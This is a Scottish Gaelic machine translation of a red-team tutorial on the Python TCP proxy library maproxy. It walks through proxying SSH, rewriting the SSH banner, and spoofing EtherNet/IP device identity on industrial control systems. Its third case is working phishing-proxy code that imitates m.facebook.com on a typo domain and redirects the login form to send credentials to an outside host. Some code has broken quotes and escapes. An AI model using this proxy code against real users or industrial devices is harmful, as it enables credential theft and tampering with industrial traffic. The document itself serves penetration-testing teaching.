Pròiseas dàta lìonra air an itealan

Chaidh an eadar-theangachadh den artaigil ullachadh air an oidhche ro thoiseach a’ chùrsa “Pentest. Cleachdaidhean deuchainn treòrachaidh".

Pròiseas dàta lìonra air an itealan

Annotation

Tha measgachadh de sheòrsan de mheasaidhean tèarainteachd, bho dheuchainnean treòrachaidh cunbhalach agus gnìomhachd Sgioba Dearg gu bhith a’ slaodadh innealan IoT/ICS agus SCADA, a’ toirt a-steach a bhith ag obair le protocolaidhean lìonra dà-chànanach, is e sin, gu bunaiteach a’ gabhail a-steach agus ag atharrachadh dàta lìonra eadar an neach-dèiligidh agus an targaid. Chan e obair dhoirbh a th’ ann a bhith a’ snìomh trafaic lìonraidh leis gu bheil innealan againn mar Wireshark, Tcpdump no Scapy, ach tha e coltach gur e obair nas dian a th’ ann an atharrachadh oir feumaidh sinn eadar-aghaidh de sheòrsa air choreigin gus dàta an lìonraidh a leughadh, a shìoladh, atharrachadh e air an itealan agus cuir air ais e chun aoigh targaid ann an àm fìor cha mhòr. A bharrachd air an sin, bhiodh e air leth freagarrach nam b’ urrainn dha inneal mar seo obrachadh gu fèin-ghluasadach le grunn cheanglaichean co-shìnte agus a bhith gnàthaichte le bhith a ’cleachdadh sgriobtaichean.

Aon latha lorg mi inneal ris an canar maproxy, rinn na sgrìobhainnean gu sgiobalta sin soilleir dhomh maproxy - dìreach na tha a dhìth orm. Is e neach-ionaid TCP a tha gu math sìmplidh, sùbailte agus furasta a rèiteachadh. Rinn mi deuchainn air an inneal seo air grunn thagraidhean a bha gu math toinnte, a’ toirt a-steach innealan ICS (a bhios a’ gineadh tòrr phasganan) gus faicinn am b’ urrainn dha mòran cheanglaichean co-shìnte a làimhseachadh, agus rinn an inneal gu math.

Bheir an artaigil seo fios dhut mu bhith a’ giullachd dàta lìonraidh air a’ iteig a’ cleachdadh maproxy.

sealladh farsaing

Inneal maproxy stèidhichte air Tornado, frèam lìonraidh asyncronach mòr-chòrdte agus aibidh ann am Python.

San fharsaingeachd, faodaidh e obrachadh ann an grunn dhòighean:

  • TCP:TCP - ceanglaichean TCP gun chrioptachadh;
  • TCP:SSL и SSL:TCP - le crioptachadh aon-shligheach;
  • SSL:SSL - crioptachadh dà-shligheach.

Tha e a’ tighinn mar leabharlann. Airson tòiseachadh sgiobalta, faodaidh tu faidhlichean eisimpleir a chleachdadh a tha a’ nochdadh prìomh gnìomhan leabharlainn:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Cùis 1 - neach-ionaid sìmplidh dà-thaobhach

Stèidhichte air tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

bho thùs ProxyServer() a’ gabhail dà argamaid – an t-àite ceangail agus am port targaid. server.listen() a’ gabhail aon argamaid - am port airson èisteachd ris a’ cheangal a tha a’ tighinn a-steach.

Cur an gnìomh an sgriobt:

# python tcp2tcp.py

Gus an deuchainn a ruith, tha sinn a’ dol a cheangal ri frithealaiche SSH ionadail tron ​​sgriobt progsaidh againn, a bhios ag èisteachd air 2222/tcp port agus a’ ceangal ri port àbhaisteach 22/tcp Frithealaichean SSH:

Pròiseas dàta lìonra air an itealan

Tha am bratach fàilte ag innse dhut gu bheil an sgriobt eisimpleir againn air trafaic lìonraidh a chuir an aghaidh gu soirbheachail.

Cùis 2 - atharrachadh dàta

Sgriobt demo eile logging_proxy.py air leth freagarrach airson eadar-obrachadh le dàta lìonra. Tha na beachdan anns an fhaidhle a’ toirt cunntas air na dòighean clas as urrainn dhut atharrachadh gus an amas agad a choileanadh:

Pròiseas dàta lìonra air an itealan

Tha an rud as inntinniche an seo:

  • on_c2p_done_read - gus casg a chuir air dàta air an t-slighe bhon neach-dèiligidh chun t-seirbheisiche;
  • on_p2s_done_read - air ais.

Feuchaidh sinn ri bratach SSH atharrachadh a thilleas am frithealaiche chun neach-dèiligidh:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Dèan an sgriobt:

Pròiseas dàta lìonra air an itealan

Mar a chì thu, chaidh an neach-dèiligidh a mhealladh leis gun deach ainm an fhrithealaiche SSH atharrachadh gu «DumnySSH».

Pròiseas dàta lìonra air an itealan

Cùis 3 - duilleag lìn phishing sìmplidh

Tha dòighean gun chrìoch ann airson an inneal seo a chleachdadh. An turas seo leig dhuinn fòcas a chuir air rudeigin nas practaigeach bho thaobh gnìomhachd na Sgioba Deirge. Dèanamaid atharrais air an duilleag tighinn air tìr m.facebook.com agus cleachd àrainn àbhaisteach le typo a dh’aona ghnothach, mar eisimpleir, m.facebok.com. Airson adhbharan taisbeanaidh, gabhamaid ris gu bheil an àrainn clàraichte leinn.

Tha sinn gu bhith a’ stèidheachadh ceangal lìonra gun chrioptachadh leis an neach-ionaid againn a tha a’ fulang agus Sruth SSL chun t-seirbheisiche Facebook (31.13.81.36). Gus an obraich an eisimpleir seo, feumaidh sinn bann-cinn aoigheachd HTTP a chuir an àite agus an t-ainm aoigheachd ceart a chuir a-steach, agus cuiridh sinn casg air teannachadh freagairt gus am faigh sinn cothrom air an t-susbaint gu furasta. Aig a 'cheann thall cuiridh sinn an fhoirm HTML an àite gus an tèid na teisteanasan logaidh a-steach a chuir thugainn an àite luchd-frithealaidh Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/gd/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Ann an geàrr-chunntas:

Pròiseas dàta lìonra air an itealan

Mar a chì thu, bha e comasach dhuinn an làrach thùsail a chuir na àite gu soirbheachail.

Cùis 4 – A’ gluasad Ethernet/IP

Tha mi air a bhith a’ dèiligeadh ri innealan gnìomhachais agus bathar-bog (ICS/SCADA) airson ùine mhòr, leithid riaghladairean prògramaichte (PLC), modalan I/O, dràibhean, ath-chraolaidhean, àrainneachdan prògramadh àradh agus mòran a bharrachd. Tha a’ chùis seo dhaibhsan a tha dèidheil air rudan gnìomhachais. Tha a bhith a’ faighinn a leithid de fhuasglaidhean a’ toirt a-steach cluich gu gnìomhach le protocolaidhean lìonra. Anns an eisimpleir a leanas, bu mhath leam sealltainn mar as urrainn dhut trafaic lìonra ICS / SCADA atharrachadh.

Airson seo bidh feum agad air na leanas:

  • Sniffer lìonra, mar eisimpleir, Wireshark;
  • Ethernet/IP no dìreach inneal SIP, gheibh thu e a’ cleachdadh seirbheis Shodan;
  • Tha an sgriobt againn stèidhichte air maproxy.

An toiseach, leig dhuinn sùil a thoirt air cò ris a tha freagairt aithneachaidh àbhaisteach bho CIP (Common Industrial Protocol) coltach:

Pròiseas dàta lìonra air an itealan

Tha comharrachadh innealan air a choileanadh le bhith a’ cleachdadh protocol Ethernet / IP, a tha na dhreach leasaichte den phròtacal Ethernet gnìomhachais a bhios a ’cuairteachadh protocolaidhean smachd leithid CIP. Tha sinn gu bhith ag atharrachadh an ainm ID comharraichte a tha ri fhaicinn san ath-sgrìn "NI-IndComm airson Ethernet" a’ cleachdadh ar sgriobt progsaidh. B’ urrainn dhuinn an sgriobt ath-chleachdadh logging_proxy.py agus mar an ceudna atharraich an dòigh clas on_p2s_done_read, oir tha sinn ag iarraidh gum bi ainm dearbh-aithne eadar-dhealaichte ri fhaicinn air an neach-dèiligidh.

Còd:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Gu bunaiteach, dh ’iarr sinn comharrachadh inneal dà uair, b’ e an dàrna freagairt am fear tùsail, agus chaidh a ’chiad fhear atharrachadh air an itealan.

Agus mu dheireadh

Nam bheachd-sa maproxy Inneal goireasach is sìmplidh, a tha cuideachd sgrìobhte ann am Python, agus mar sin tha mi a’ creidsinn gum faigh thu fhèin buannachd bho bhith ga chleachdadh. Gu dearbh, tha innealan nas iom-fhillte ann airson a bhith a 'giullachd agus ag atharrachadh dàta lìonra, ach tha iad cuideachd a' feumachdainn barrachd aire agus mar as trice bidh iad air an cruthachadh airson cùis cleachdaidh sònraichte, me. muraena, Modlishka no olcginx airson cùisean coltach ris an treas, no canape airson a 'chùis mu dheireadh. Aon dòigh no dòigh eile, le cuideachadh maproxy faodaidh tu do bheachdan a chuir an gnìomh gu sgiobalta airson a bhith a’ toirt a-steach dàta lìonra, leis gu bheil na sgriobtaichean eisimpleir glè shoilleir.

A’ dèanamh deuchainn air dòighean dearbhaidh ann an Windows AD

Source: www.habr.com

Cuir beachd ann